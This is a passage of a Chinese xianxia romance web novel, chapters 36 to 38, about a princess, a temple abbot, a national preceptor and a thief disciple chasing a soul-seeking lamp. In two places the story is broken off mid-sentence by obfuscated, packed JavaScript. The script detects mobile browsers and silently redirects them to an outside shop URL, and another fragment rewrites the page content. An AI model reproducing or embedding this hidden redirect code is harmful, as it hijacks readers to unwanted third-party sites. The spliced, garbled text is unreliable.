孟簪甚至都在想,自己会不会只是个幌子,其实宋故封早就看不惯梵音寺的和尚们了,只是借自己作为一个导火线,从而灭了梵音寺。 但是实话说回来,梵音寺不仅在破晓国内人气颇高,在四国范围内都有极高的威信,因其从不插手皇室之间的事情,而受到四国皇室的礼遇。 要说宋故封想从梵音寺开刀,孟簪只能夸赞对方一句,胆量颇高,真不怕死。 “公主,请吧。” 在无眠引导之下,孟簪跟在他后面走进了转角的禅房。 36. 第三十六章 第三十六章 一踏入禅房,淡雅的檀木香袅袅,那位方才在门外见过的无妄住持正跪在佛像前的蒲团之上,静思了许久,才像是刚刚意识到孟簪的存在,缓缓道,“公主还是像以前那般,明明不识人间愁滋味,却偏要争做那——人间第一流。” 这一番说不出是嘲讽还是陈述的话语落在孟簪耳中不痛不痒,她只轻轻笑了,“每个人都想争做人间第一流,理想嘛,无可厚非,倒是住持,听起来对我颇有意见。”许是和谢赴星待久了,孟簪说话也开始心直口快,阴阳怪气起来,往常忍让退让惯了,怼回去的瞬间孟簪心底升起一阵爽感,总算懂得了几分师弟的快乐来,有话直说真是舒服。 “住持找我有事?” “非也,是公主找老衲有事。”他正眼瞧向孟簪,无悲无喜道,“了却公主这桩因果后,老衲也可以安心乘风而去了。” 孟簪倒是不知道这永安公主和这梵音寺的住持之间有何因果,想来也不是什么很大的事,不然也不会拖到今时今日了,“住持不妨展开说说。” 那住持示意孟簪在他旁边的蒲团落座,孟簪犹豫了一会儿,没敢上前,“无妄住持我们之间这个距离就挺好的,距离产生美,我这个角度看你就很美了。” 言下之意就是不用再靠得更近了。 听懂孟簪话语之下含义,无妄住持那张亘古不变的出现了一丝的裂缝,像是破了个缝的鸡蛋,大风那个猛烈地吹啊,吹过他平滑的脑袋,颇为无奈地多解释了一句,“有些话语不可被外人听到。” 孟簪手心一摊,“住持这屋内就你我二人,没有外人。” “隔墙有耳。”无妄住持转动着珠串的速度加快了些,像是他那颗升起怒火的心,这女娃怎么那么冥顽不灵,他无妄还会害了她不是?多年前求着自己解惑的是她,多年后不愿意听的也是她,本着多年修炼的佛心,他胸膛的火很快就灭了下来,那双浑浊的眼睛再次看向孟簪,平静而又祥和,“公主要是不愿上前也无妨,这本就是你的因果,多年前老衲帮不了你,而今却是可以回答公主当年的问题了。” “问题?”孟簪满脸问号的表情落在无妄言中,他眼中划过几分挣扎,但是很快的归入了死水深潭那般的平静。 多年前他不过是梵音寺中的一个小和尚,而那时的永安公主已是破晓国人人赞誉的公主殿下,琼枝玉叶、高不可攀,任何人仿佛都不会走进她那双眼。可是后来,她竟孤身一人来到梵音寺求了根姻缘签,当时的住持看了眼就静默了。无妄从来没在住持眼中看到那么复杂的情绪。住持和公主说,要是五年后依旧想知道答案那便再来梵音寺。可惜短短五年,物是人非,住持归寂,带着所有的秘密离开了世间,而公主也再没有闲暇来到梵音寺。 而今站在自己面前的女子和永安公主分明是全然不同的两人,他却莫名从她身上感到了永安公主才有的压迫感。 可是眼前的女子法力平平,听说不过是无名小宗的一个外门弟子。 他只是犹豫了一瞬,宋故封那人绝不会背叛公主。 “嗯,是多年前公主求的签,如今我已然参悟了一半。” 孟簪对于自己的命数有所了然,但是这签既然是永安所求,那和她关系倒是不大。毕竟在孟簪眼里,她是她,永安公主是永安公主,她温声拒绝道,“不必了,相信悟以往之不谏,知来者之可追的道理住持应该懂,既然是过去的事情就让她随风而去吧。况且,我并不是永安公主,现在不是,未来也不会是。” “她有她想守护的国家,可我只想保护好自己。” 孟簪转身临走前扔下一句话,“住持恐怕还不知道,宋故封带了句话,一盏茶内见不到我,梵音寺亡。” 女子款步往外走,身影越拉越长,两人身影背道而向,她从身旁走过那刻,无妄重新闭上了眼,像是一场尘埃落定,“公主,还望珍惜眼前人。” 等人走远,无妄才苦笑了声,“缘起缘灭,我执着了那么久,也该是放下了。” “一切因果,皆有心生,心外无物,心即是佛” 不一会儿,禅房里又重新响起了佛经的诵念声。 孟簪提着裙摆跨出门槛那刻,一眼就看见了祈愿树下站着的男子,他轻抿着唇,正在斟酌怎么挂到树上的时候,一转头,就看见了孟簪,从容不迫但是可见有些局促地把双手背到了身后,“出来了?” 孟簪没有戳破宋故封,佯装没看到他不会系绳结这件事,把视线落在了庭中这棵枝繁叶茂的祈愿树上,风一吹,满树的祈愿符随风而起,“我以为国师这样的人不会有什么愿望祈求上苍。” “是人总是有欲望的,我是人,而非神。”宋故封顿了晌,“他方才找你进去说了什么?” 孟簪还没说话就听对面之人谆谆教诲道,“不管他说了什么,公主都不要去理会。人定胜天,你需要往前走就是,身后之事我自会为你善后。” 孟簪倒是第一次听宋故封说那么多话,那住持最后一句话倒是引起了孟簪的注意,他说,珍惜眼前人。 这是永安公主多年求的签,和她有关的眼前人,可不就在自己跟前。 “我不是有意冒犯啊,宋故封你的年岁……” 宋故封安静了一会儿,看向孟簪,问:“你会嫌我老吗?” 宋故封的外貌看着不过二十多岁,俗话说,十岁八岁不嫌老,只要差得不大,孟簪倒是也不会在意年龄的问题,但是听起来宋故封还是见过永安公主的,他这年岁不得至少一百开头。 孟簪的心思兜兜转转,还是比较担心皇宫那边的情况。 小师弟会帮自己吗?倘若不帮,给北冥凌传个话也好啊,毕竟北冥凌看着对寻魂灯还是颇感兴趣的。 实际上,被孟簪挂念着的北冥凌也实在忍受不了这种东躲西藏的生活了,他这般娇贵的身子什么时候要做这种卑劣的事情了。 在他心里,是男人就应该单打独斗,铁血疆场! 他等着自己出手的机会,结果就是“你让我去偷东西!?” 北冥凌目瞪口呆,话语里还颇有不满之意。 “不,是拿回属于你的一切。”一眼看穿北冥凌中二魂的谢赴星笑眯眯地哄骗道。 北冥凌好像有点兴趣,“需要我怎么做?打架还是斗殴?” “都不需要。”谢赴星朝北冥凌勾了勾手指,北冥凌会意地上前。 “什么!?”听完谢赴星计划的北冥凌面色红了又白了,白了又黑。 最终还是不情不愿地答应了,“行吧,要是我们可以离开这里也不是不行。” — 翌日,驻守御花园的守卫远远看见一个人影朝这里走来,因为穿着过于风骚,饶是这些个侍卫都有些不太敢看,那男子画着浓妆,已然看不出原本的长相,他翘着兰花指,一副娇俏的样子,“哎呀这边怎么不让走了呀?” 守卫照着国师吩咐的说了一遍,不想这男子并没有要走的意思,反倒指着自己,叉腰趾高气昂道,“你知道我是谁吗?我可是公主的男宠,还不快给我让开!” 这个浓妆的男子不是别人,正是北冥凌。 北冥凌本就是皇室出身,稍微摆出些盛气凌人的架子来就震住这些皇宫的守卫了。 国师只说防外人,没说要提防内人啊。 见这些守卫犹犹豫豫、拿不定主意的样子,北冥凌立刻把脸垮了下来,冷哼了声,“你们这般不懂事,等公主回来了,我定要在她跟头好好参你们一本!” 这些个守卫更是面色苍白,都说色令君昏,这床榻之上的随口一言可真是会要了他们的小命不说啊! 北冥凌大有一副要和他们耗着的意思,娇俏地欣赏自己做好的指甲的时候,时则内心在疯狂呕吐,他可是好男儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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北冥凌扭头对上不远处神色恹恹的女子,“周画官,这位就是你话本中的男主人公,谢赴星谢公子!” 守卫一只手握紧了北冥凌的肩,丝毫不给他逃跑的机会,他就那么直直地对上那女子心如死灰的表情,看着对方毫不犹豫地把刚写好的话本给撕了个稀巴烂。 她深吸了一大口气,像是心死之人的最后一问,颤颤巍巍地举起手指,“你是谢赴星?” 一不做二不休,北冥凌几乎是斩钉截铁道,“没错!我就是!行不更名坐不改姓,无花宗谢赴星是也!” “来人啊!周画官晕倒了!”听到北冥凌话语的瞬间,女子气急攻心,朝后倒去。 在混乱声中,北冥凌急忙溜进了御花园内,等待着和谢赴星碰头。 水波缓缓荡开波纹,孟簪看着寺庙缸中的水一时发了呆,“公主很想要寻魂灯吗?” 孟簪嘴比脑子反应快,“还行。” 眼前视线逐渐清晰,身旁和自己一样,跪在佛像前的宋故封轻声道,“我当时把你带走不是不让你拿,只是太危险了。” 孟簪还想继续听下去,跟前却多了一抹土黄的身影,“公主,素斋已经为二位准备好了。” 无眠依旧是那副笑意不达眼底的模样,孟簪从地上慢慢起身,一个踉跄差点没站稳,左手的手臂被身后之人稳稳扶住,另外一只手则是被扫把柄给架住,两人相视了一眼后,先是拿着扫把的无眠开了口,“公主小心。” 宋故封没有说话,可是面色可见的冷了几分。 孟簪假装看不见两人之间的暗波涌动,赶忙收回了自己的手,疑惑道,“走吧,不是要吃饭吗?” 出了禅房,孟簪放慢了步子,和宋故封并肩而行,“那个墓碑看着并不危险。” “万事需要透过表象看内在,正是因为水底所以才更需要谨慎。稍有不慎,则万劫不复。” 不知为何,孟簪突然觉得心间一悸。 下一瞬,雷声骤响于天际,那是皇宫的方向。 37. 第三十七章 第三十七章 乌云密布,团团围住皇宫上空,宋故封一回头,哪里还有半点孟簪的影子,唯有燃烧殆尽的灰飞散开。 她次次的选择都不是他,他却执着了一生一世。 宋故封凛然大步地转身,带起庭前竹帘,那张素来没有什么表情的面容更显冷意,朝两边的士兵威声发号施令,“回宫。” 临走前的一瞬,他回头看了眼梵音寺中央的祈愿树,像极了诀别的一眼,想了什么或许也只有他知道,短短三秒,思绪万千。 越抓不住的越想要,他骤然无奈地摇摇头,这一生短暂倒也算是漫长。 积聚已久的紫雷轰然落下,最后的一秒北冥凌凭借敏捷身法堪堪逃脱,他气喘吁吁地看向对面之人,指着对方的鼻子怒斥道,“谢赴星,你这是要弄死我吗?” 青年懒洋洋的,没有半点不好意思地道歉道,“哦。劈歪了,不好意思啊。” “……”你但凡有一点不好意思都说不出那么轻飘飘的话。 北冥凌站在岸边,正想看眼池塘下面,蜂蛹的官兵先至,将两人层层包围在池塘前,为首那人北冥凌眼熟至极,不是刚刚那个听了自己是谢赴星后晕倒的女官又是谁,只不过眼下对方盯着自己的眼中燃着熊熊烈火。 虽然北冥凌一直很自信自己的长相,可被这般热烈爱火的眼神注视着,也是有些不好意思,羞涩道,“我呢,其实还是喜欢含蓄一点的女孩子。” 周落本就心情不好,听到这普信男如此自信的话,更替公主感到不值,立马反怼了回去,“我特么管你喜欢什么?神金。” 这招北冥凌懂,叫欲擒故纵。 没想到这个女子性格如此泼辣不说,人也挺心机。 了然的北冥凌心下有底,当即递给谢赴星一个眼神——这里哥来解决就够了,你先去拿寻魂灯。 传送过来的孟簪看着眼前熟悉的房间,意识到自己被谢赴星反将了一军的时候,没感到半分扫兴,相反,她觉得事情有意思了起来。 “知道我在北冥凌身上留了符纸,没有阻止,却把符纸贴回了他的房间,谢赴星到底在想什么?” 孟簪垂眸,一眼就看到了自己送给谢赴星的生辰礼物。 哦,现在应该不能叫礼物,眼前的只能被称之为一堆的废品,棉花絮稀稀疏疏地散落在桌子上,玩偶被人开肠破肚,切成了个稀巴烂。 那张写着祝福相纸条没被烧掉或许是这人最后的善心了。 孟簪看到眼前一切,竟然也没有多难过。 她在想,如果这份礼物再早送个几年,是不是一切都会不一样了。这份少年在儿时期盼不已的礼物,结果便是在他十八岁生辰那天被主人狠狠割破。 “还真是个小没良心的。”孟簪喃喃道,“亏我还特意让宫中的绣娘教我,才给你加班加点做出来的。” 她回头,在衣架上看到了更为匪夷所思的事情。 仙门大比的号码牌以及……她送给谢赴星的两块玉佩,都好端端地挂在这里,没有消失,更没有如她所想的碎掉。 在这里的一切在孟簪心里渐渐汇聚成了一个不曾想过的答案,他早就知道了自己并不是柳拂云。 何时呢? 恐怕是秘境之中他谎称自己丢了号码牌的时候就有所察觉,可是谢赴星并没有戳破这一切,而是静静地像条蛇一般,欣赏着猎物死前的挣扎。 “倒是小看了这位小师弟。”孟簪走不出去房间,找了个凳子坐下,看着桌上的玩偶碎片,一时思绪发散了开来。 寺庙里的夜很冷,尤其是还下了雨,寒雨落入寺庙之中,浸湿了稻草,少年孱弱的身子很快就病了。 不生病不知道,一生病起来倒是让孟簪有些措手不及,那张素日冷然的脸上沾染了红晕,破碎感具象化,她的手方才碰到少年鸦黑的发丝,他就不禁一颤,“冷。” 本就白皙的皮肤更添了几分病态,过分潮红的面容在孟簪的手贴上额头那刻,不自知地靠近了上来,冰冷湿透的发丝划过孟簪的掌心,衣裳摩擦间,眼上的白绫掉了下来,露出少年完整的面容,精致俊俏的面容此刻只有脆弱。 他紧闭着眼,眉间充斥着化不开的愁绪,孟簪伸手刚想替他抚平就被一只手骨分明的手结实地抓住,“嘶——”孟簪吃疼地咬唇才没有发出半点声响来,结结实实地咬下一口,孟簪的手迅速渗了血,而始作俑者也像是从噩梦中醒来,嘴内的铁锈味,不难让谢赴星猜到方才自己做了什么。 “醒了?”在对方反应过来之前,孟簪赶紧抽回自己的手,故作轻松道,“方才你要是还不醒,我可是要担心死了。” “我死了便死了,用不着你担心。”他用衣衫抹去唇角的血,对于方才咬了孟簪一口没有半点解释,理了理衣裳,醒来后依旧格外冷淡甚至可以说的上无情,质问道,“你靠我那么近做什么?” 孟簪把手一摊,盯着谢赴星,没心没肺道,“我贱呗,人都对我爱答不理了,我还要贴上来。” 听此,谢赴星颇为认同地点点头,“确实挺贱的。” 孟簪认真地审视了一圈谢赴星,得出了一个结论,“谢温年,你没有心。” 对方没理会孟簪,手往周围探了探,孟簪看到对方这个动作,还是主动帮忙将白绫挪到他摸索着东西的手旁边,谢赴星抓住白绫后,给自己重新系了起来,流畅的鼻峰之下的唇很薄,都说唇薄的人越是绝情,这话倒是一点儿都没说错。 “我有没有心,你不第一天就知道了?” 反问的话,倒是让孟簪想起了遇见谢赴星的第一面,依旧是这般不爱理人的模样,但是真得把孟簪吃的死死的,她还真就想让师父收了这个小师弟。 “没有心也没关系,谁让你是我的小师弟呢。” 少年微微蹙眉,那张染着红晕的脸面无表情地否认,“别乱叫,我才不是你师弟。” “很快就是了。” 谢赴星很烦,很烦这女的总是能用这般随意的语气动摇他的内心,让他眼下本就混沌不堪的大脑更难思考。 “生病了的人就躺下。” 看得出谢赴星是在强撑着身子,孟簪一把将人推在草垛上,借着几分光,从自己的包裹里翻了翻,总算找出了一颗出门前外门领的感冒药来。 谁想,药来了,这人倒不配合起来了。 少年像是一只刺猬, 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后来他的眼睛好了,但孟簪却意外得知了一个谁都不知道的秘密,谢赴星眼里的世界是没有颜色的。 对他而言,衣服有深浅的变化,但是区别不大。 所以,他最常穿红衣,并不是因为喜欢,而是怕被人发现这一件事。 毕竟人一旦有了弱点,便会被人轻易抓住把柄。 像谢赴星这样敏感的人,是如何都不愿意被旁人轻易抓住把柄的。 孟簪离不开这个房间,像是被谢赴星捉住的金丝雀,被困在笼中,谢赴星金丹的实力还是不容小觑的,这时候孟簪的目光落在了一样自打拿到手就没被用过的东西上。 对啊!她是个有剑的人。 实在不行拿剑硬刚嘛! 孟簪拔剑,回想在无花宗学习的无花剑法,把扎了个马步,这剑就像是迫不及待地往门上撞去,于是乎,孟簪就震惊地看着这剑对于金丹设下的法术像是切豆腐一般的破开了。 孟簪:关于我意外拥有了绝世神兵。 早说孟簪就拿着它去比斗台上拼一拼了! “寻魂灯,我来了!” 孟簪匆匆赶到从小道赶到御花园的时候便是眼前的一幕,那位不近人情的国师此刻拿着剑指着浑身是血的谢赴星,“拿出寻魂灯,饶你不死。” 他眼里尽是冰冷,对上青年玩世不恭的眼神,充满着挑衅,“倘若、我不呢?” 宋故封眼睛一眯,“死。” 谁料谢赴星见到宋故封这般正经的模样竟然是直接的笑了出来,他撩眼,漫不经心地陈述道,“宋故封,你不会杀我。你想要找回她的心,那就不得不要和我做交易。” 她的心?谁的心? 永安公主的心? 孟簪心里泛起一阵恶寒,这故事怎么听着听着有些少儿不宜起来了。 “所以,想好拿什么换她的心了吗?” 回答谢赴星的是男子利落的三个字。 “我的命。” 青年轻笑了一声,“成交。” 38. 第三十八章 第三十八章 按理来说这两人法力都比她高超,孟簪这样不加掩饰的躲藏应当早就被两人察觉了,可在场之人却无一没有戳破,红衣青年环胸,好整以暇地朝宋故封问道,“你要寻魂灯做什么?” 宋故封别过头去,躲避开青年审视质疑的目光,冷淡道,“这件事应该和你没有关系吧。” 谢赴星勾唇一笑,把手一摊,“自然有关,若你是想拿这寻魂灯去讨好我那师姐,我当然不会给你。” 那乖巧明媚的笑容映入孟簪的眼中,明目张胆地写着恶劣二字。 “……你,讨厌孟簪?”宋故封心思缜密,透过谢赴星的表现很快得出结论,但他很是莫名,“秘境之中你对她颇为照顾,出了秘境后也是关照有加,难道这些都是假的?” 谢赴星慢条斯理地用袖子擦拭着脸颊的血,“假的真的,很重要吗?宋大国师只需要知道用情过深,身为一个男人恋爱脑可不是什么好事。” “容易血本无亏哦。” 谢赴星像是奉劝地扔下一句话,一侧头便看到了躲在石山的孟簪,女子姣好的外表并没有透露出厌恶的神情,谢赴星心里倒是惊讶,孟簪竟然破开了他的术法? 孟簪抢在谢赴星开口之前,几个快步上前,一把抱住了对方的手臂,在青年颇有深意的眼神注视下,轻笑道,“皇夫怎么不和国师坦白自己的身份,莫不是还在因为几天前的事和我置气?” 一眼看穿孟簪意图的谢赴星差点没气笑,这女人倒也是胆子大,想祸水东引到他这里,她究竟是有多自信自己不会反驳,正想着,谢赴星算是明白这人如何笃定自己不会否认了。 因为下一秒她当着宋故封的面,亲了自己的脸颊。 “……”明明没到情期,但是谢赴星觉得自己热得可怕,胸膛像是有一点火苗,孟簪一靠近就燃了起来,一发不可收拾,脸庞带着耳垂瞬间红透了,他深吸了口气,明明有那么多骂人的词汇在嘴边,可最后开口却只有四个字,“不知廉耻。” 孟簪纵容地笑了,这一幕落在宋故封眼里两人的互动宛若小情侣之间的把戏,他冷冷地看着谢赴星,身侧的手紧了,可是他却深切再透彻不过的知道自己什么立场都没有,他算什么呢,她多年前救下的一个孩子罢了。 或许,她早就不记得了。 转世之后的她还是她吗?宋故封第一次如此迷茫。 他寻找了那么多年真得值得吗…… 孟簪看着宋故封,垂下眼睫,“宋故封,放手吧。” 但宋故封知道,如果自己一放,便是一辈子了。 他回忆起百年前城楼之上的对话。 “宋故封,你后悔吗?” “为何后悔?” “后悔认识我。”女子笑了笑,笑容里尽是苦涩。 永安的目光扫过少年仍有稚嫩的脸庞,得到的却是斩钉截铁的一句,“我从未后悔,公主。” 我的生命因你存在。 我的呼吸因你错乱。 我的一切来自于破晓,自然也要结束于破晓。 这些话宋故封看着那时孤傲的君主,终究是没有开口。 百年后,故事再度重演,他却做不到最简单的放手二字,“放手?如何叫放手,我不懂,公主。” “我只知道,谢赴星死了,你就可以安心待在这里了。”电光火石间,两人对上,追云出鞘,剑刃相碰,谢赴星才意识到这宋故封疯起来半点没比任何人差。 可惜这里是破晓国,对于这里了如指掌的宋故封稳占上风不说,招招都是想要索谢赴星的命。 “水龙,炸!” 谢赴星看着池塘水慢慢演化成一只龙的形状,咆哮着朝他袭来,一旁观战的孟簪一眼看出这法术已经是半步元婴方才使用的出来的法诀。 谢赴星,接不住的。 “土诀。”土和水龙相撞,泥巴甩了孟簪一身,她无奈地拂去脸上的泥巴,看了眼执念不解的宋故封,又看了眼一时半会儿打不死的谢赴星,心想自己可以先回去睡一觉,不料,及时反应过来的谢赴星凭借身法,一个转身,掐住了孟簪的脖颈。 水龙在碰到孟簪发丝的前一刻消散开来,她听见身后的青年冷声道,“不想她死,就解除通缉令,放我出破晓国。” 被当做人质的孟簪没有半点惊慌失措,反倒有些依依不舍地拖长尾音假惺惺道,“皇夫——你当真要抛弃我离开吗?” 这话语说的谢赴星恍若一个抛妻弃子的渣男。 闻言,青年低声哂笑道,“师姐这个账我往后再和你算,你最好保佑你可以在破晓国多活个几年。”说着目光若有若无地扫过宋故封,嘲声道,“往后宋故封保护不了你的时候,可千万不要哭鼻子,毕竟不是所有人都会怜香惜玉的。” 至少谢赴星不会。 “我可以放你走。”宋故封果然可见的慌乱,他盯着谢赴星很快败下阵来,不情不愿地认输,“你先放开她。” 谢赴星的手没松还更紧了些,孟簪一时觉得还真有些喘不上气,不由得侧头在青年耳边咬字道,“师弟你做做样子就好,别真掐死我啊,咱们可是一条绳上的蚂蚱。” 谢赴星瞥了眼呼吸急促、反应格外剧烈的女子,寻思着自己的手也没使劲,这人还真挺会作秀的,不过无妨,管用就好。 “救我——我不想死啊!” 呼救、威胁和劫匪,三要素齐了。 宋故封因为孟簪迟迟举棋不定,他不确定两人之间的关系,明明上一秒还可以亲密有加,怎么下一秒就要喊打喊杀了,但是,他很快理清思绪,传话下去,“解除对于谢赴星的通缉令,准备一匹马,送谢公子离开。” 做完一切,他看向谢赴星质问道,“如此,便可以了吧?” “不急,先送我到城门口再说。” 宋故封欲言又止,但是看了眼楚楚可怜的孟簪,没有半点犹豫的,“好。” 城门口确确实实准备了一匹马,孟簪被谢赴星架着脖子走路,走的也有些累了,中间要不是不好意思怕还要喊个中场休息,让她先歇个脚,好歹总算是送走了谢赴星。 不对,后知后觉想起什么的孟簪,轻声道,“师弟,我的好师弟,你是不是已经拿到寻魂灯了?” 谢赴星撩眼,那双含情眼似笑非笑,“师姐方才不还唤我皇夫吗?现在怎的如此生疏。”皇夫两个字被他拖长语调,极为嘲讽的口吻。 孟簪倒是没有半点心虚,义正言辞道,“方才是情势所逼嘛,要不你多喊我几声夫人,我让你还回来?” 谢赴星:…… 自然不会得到谢赴星的答应,不过孟簪也没想着谢赴星会答应,她盯着脚下的土地,有些疲倦,“你把寻魂灯给我再走呗。” 这回是彻底没有声音了,等自己被推向宋故封那刻,孟簪才肯正式承认,自己最后悔的一件事怕不就是让谢赴星帮自己,这人哪里会有好心,这把东西直接私吞了可还行? 看着对方一骑绝尘的身影,孟簪万般滋味在心中,一行哭泪,好歹给自己留盏寻魂灯吧! 宋故封及时扶稳孟簪,语重心长地劝告道,“公主下次可万不能如此莽撞了,他不是个好人。” 孟簪回到了皇宫,和宋故封面对面坐下的时候,想了想还是直截了当朝对方询问道,“公主的心到底是怎么回事,难道史书是骗人的?” 宋故封没有对孟簪隐瞒,沉吟了片刻后回答道,“史书并没有骗人,公主当年确实喜欢上了那时的国师,而那位国师临走时只带走了一样东西,那便是——公主的心。” “当年五国内战之中,公主是唯一一位女子的统治者,上位时便存在着许多争议,她利用了一切的人,唯独把那颗心留给了那位国师。” 孟簪思忖了片刻后,认真道,“你这个心是物理意义上的心吗?” “……” 得到的是宋故封的沉默。 这个故事着实有些血腥了,孟簪觉得有点听不下去了,于是转移开了话题,“你想要公主的心,那你囚禁我有什么用?” “他回来了。”宋故封的面色骤然凝重了起来。 “谁?” “那千年前的鲛人国师。” 哈哈哈,孟簪觉得对面在讲笑话,很是玩笑地反问,“那国师怎会活上百年?” “……”宋故封因为孟簪的话语沉默了一瞬,思考到对方没有记忆,还是出声解释道,“公主怕是忘记了那国师是个妖族,妖族并非凡人自然可以活成千上万年,而且妖族不同于凡人,年纪越大的越受到同类的欢迎,意味着更强大。” “……”孟簪安静了一秒,倏然接道,“他不可能回来。” “你都回来了,为什么他不能?” 真是个好问题,不过孟簪倒不是很想多解释。 她的目光描摹着对方的五官,明明和仙门大比见面的时候一样,但是却又大相径庭,一样的五官,气质却全然不同了,脱去了少年的意气,他身上是饱经风霜的沉稳。 那双眼里也多了很多沧桑和故事,孟簪收回打量的目光,仔细想想这一切和她关系不大,但是她身为局中人,注定无法脱身,想起无妄住持说的珍惜眼前人,孟簪不禁想到了百年前永安公主到底是抱着怎样的一颗心去求解的呢? 而宋故封又是寻找了多少年,只为了那个抓不住的人。 兜兜转转,他又何曾不是困兽之斗,成为了这皇宫里的金丝雀?道理孟簪想得明白,但是就好像这世事,道理都懂,但是又有几个可以做到言出必行呢? 萧萧落叶又一年秋,故人举杯却无言。 不久后的一日朝堂之上,一大臣当着宋故封的面大放厥词,口气激昂,“国师有公主的心,我们要看公主的心!” 一言落下泛起轩然大波,台下的大臣都是大惊失色。 孟簪看着闹剧般的一切,未曾言语。 但是下朝后,她问宋故封,“公主的心到底是什么?” 宋故封想自己提心吊胆的这一天终究是到了。 “宋故封,你实话告诉我。” 听着孟簪的质问,他开口一字一句极为艰难道,“公主的心并不是您所理解的那颗心脏。” “那是公主一生功绩的历史。” 所以……才会没有孟簪的历史 并不是认为她是个耻辱,而是,她的历史丢了。 宋故封的语气很是低落,但是孟簪并没有开口安慰对方,而是选择继续问了下去,“她为何要把自己的心交出去?” 怎么回答宋故封不知道,或许正是当着故人的面,他才更说不出口。 被他快要遗忘的一切,再次如同潘多拉的魔盒被打开。 那人的笑靥在眼前浮现,转而化为了捧沙消散。 如果可以倒转时空,他多想亲口和她再说上一句,你已经很优秀了公主,这一路风霜雪雨就到这里吧。 可惜这道理他懂的太晚了,那时年少轻狂的他并不理解对方,甚至直言劝告道,“公主你注定抹不去那段耻辱的历史的,别白费力气了。” 永安公主那时是怎么回答的? 她说,“我想试试,我希望大家都可以抬起头。” 后来她从城楼上跳落,为求一死,而一旁的他只能眼睁睁看着而无力阻止。 “你,就是破晓的国君?” 在敌军鄙夷的目光中,永安公主不卑不亢的答道:“是,我和我的子民共进退。就算是死,我也不会退半步。” “公主。”那时没走的宋故封站在城楼,十一月的风很冷,吹得他浑身都在抖,他看着独守城楼的永安公主,有太多告别的话想说,却不知从何说起。 “谢谢你,故封。”是对方先开了口,永安公主那张清冷的面容缓缓勾起一个诀别的笑,“这一路要是没有你的陪伴,我真得不知道自己该怎么办。” “公主,你的心不见了!”宋故封咬着唇,看向那个上天压不弯脊骨,永远坦荡的公主一时红了眼眶,鼻梁酸涩。 她闻言愣了一下,不在乎道,“无碍,历史上没有我的名字也没关系,只要不要让我做的一切白费,有没有名字我也不在乎。”她回首最后一次看向自己的国家,眼里满是留恋。 他们说,她只要从城楼上跳下去,就放过破晓国。 可是公主不知道,在她跳下去后,他们并没守承诺。 — 宋故封走后,孟簪依旧不解,这破晓国内深藏的秘密到底是什么?这个秘密定然是让四国都在意的,所以这封邀请函才会吸引到如此多的人前往破晓国。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306117|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋故封寻找的是公主的心,那么为何要邀请四国之人前往这里呢?还有他和谢赴星达成的交易,为什么公主的心要通过谢赴星才可以找到,谢赴星在这场局里到底充当了一个什么样的角色? 或者,是他身上有什么特殊的地方? 孟簪几乎是立刻就想到了,小师弟是鲛人,而百年前那位国师也是鲛人,这冥冥之中,莫不是要通过鲛人才可以找到公主的心? 可是令孟簪更困惑的点来了,宋故封和破晓国的大臣想要找到公主的心并不稀奇,可是四国的人到底是为了什么而来呢? 包括当年永安公主到底经历了什么,才会选择把一切交给了那位国师? 太多的问题席卷而来,孟簪揉了揉太阳穴,思考着眼前最近的一个问题,宋故封为什么执意要留住自己,孟簪看出来宋故封已经开始放弃和自己成亲这件事了,也逐渐认清了自己和永安公主并非一人。 那留下自己的目的也就没那么单纯了。 一个词冒上孟簪的心头,引蛇出洞。 听着门外传来的喧哗声,孟簪了然,看来这方法已经成功了。 然对上北冥凌那张面容,孟簪心里只有一个想法,很好排除了一个错误答案! “你怎么进来了?” 针对孟簪狐疑的语气,北冥凌没好气道,“陪你啊!没想到你在宫内过得竟然那么好,你知道我在外面过得那叫什么日子吗?算了……这种过街老鼠的日子我是不想再体会了。” “他们为难你了?”孟簪是不忍多看北冥凌那张脸,急忙转移开了视线,生怕笑出声来被这过分在意自己形象的男人追着责问。 大黑脸的北冥凌倒是乐呵呵道,“还好我和他们说我是你的男宠,他们卖了我个面子。” 男宠,呵忒你咋不说你是皇夫呢! 虽说被抓住了,但是北冥凌心态倒是颇好,还反过来安慰孟簪道,“别怕,我相信他们很快就会救我们出去的。” 说完,他就自觉拿起桌上精致的小茶点吃了起来,一开始还比较收敛,到后来压根没有任何仪态地大快朵颐起来,一边吃一边吧唧嘴道,“诶,孟簪你不饿吗?” 说完,北冥凌就低下头去接着吃东西了,他没看到女子眼中一闪而过的了然。 北冥凌吃饱后,拿着牙签剔了牙,他欣赏着孟簪住着的豪华一人间,“往后我就在这里住下了!” 孟簪撑着个脑袋提醒道,“男女授受不亲,你爱睡哪睡哪,我不和你一间房睡。” 北冥凌的脸瞬间垮了一下,一副可怜兮兮的表情追问道,“真的吗?你是说真的吗?你真的舍得我睡在大街上吗?我这样优秀的长相只会在外面受尽委屈。” “放心,你优秀的长相不会让你受尽委屈,只会让你的身体受到摧残。”孟簪笑了笑,“我知道哪家店的生意最好,要我送你过去吗?” “我卖艺不卖身。”北冥凌抱住了自己,那张黑漆漆的脸上露出了几分窘迫,“算了,我委身于你也不是不行,看在咱俩认识的份上,我初夜卖你八折。” “……”谁料孟簪眨了眨眼,有些意外道,“你是处男?” 北冥凌瞬间像个被戳破的气球,差点没蹦个三尺高,耳朵一整个红透了,嘴还硬的要死,“怎么了!就允许你们女子自尊自爱,不允许我冰清玉洁了?” 说完,他低声嘀咕道,“像我这样守男德的人很少了,你看那个苗昊,年纪轻轻就被人骗了第一次,至今还精神恍惚着。” 孟簪倒是不知道苗昊竟然还有这般刻骨铭心的故事。 但是谢赴星走了,苗昊算是救两人出去的底牌了。孟簪没和北冥凌说谢赴星走了这件事,怕这人拿着剑当场自戕。 